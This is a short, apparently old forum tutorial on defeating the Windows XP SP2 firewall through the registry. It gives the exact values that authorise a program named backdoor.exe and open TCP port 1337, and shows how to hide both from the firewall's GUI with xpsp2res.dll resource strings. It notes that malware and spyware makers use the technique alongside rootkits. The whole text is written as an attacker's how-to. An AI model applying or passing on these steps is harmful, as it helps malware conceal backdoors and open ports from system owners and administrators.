Just open regedit.exe and go to
CODE
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
As you can see the sharedaccess service aka windows firewall contains the names of applications allowed for outbound connections.
Tto give access to the desired application we need to add similiar key:
CODE
C:\\WINDOWS\\system32\\backdoor.exe"="C:\\WINDOWS\\system32\\backdoor.exe:*:Enabled
But then out "backdoor" will be listed in Firewall GUI allowed applications.
Anyway we may hide it by making this
CODE
C:\\WINDOWS\\system32\\backdoor.exe"="C:\\WINDOWS\\system32\\backdoor.exe:*:Enabled:@xpsp2res.dll,-22019"
We can also open globally any port we want
CODE
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List
by adding similiar value inside this registry key
CODE
"1337:TCP"="1337:TCP:*:Enabled:Name"
Where "Name" is the name we want to be showed in the GUI
To hide port from listing in the GUI mode we may make something like that
CODE
1337:TCP:*:Enabled:@xpsp2res.dll,-22003
an then the port will be hidden from listing (XP SP2)..
It works on XP SP2 i didn't tested it on any other os.
This method is used by some malware /spyware manufacturers and together with rootkit it may be reallly dangerous.




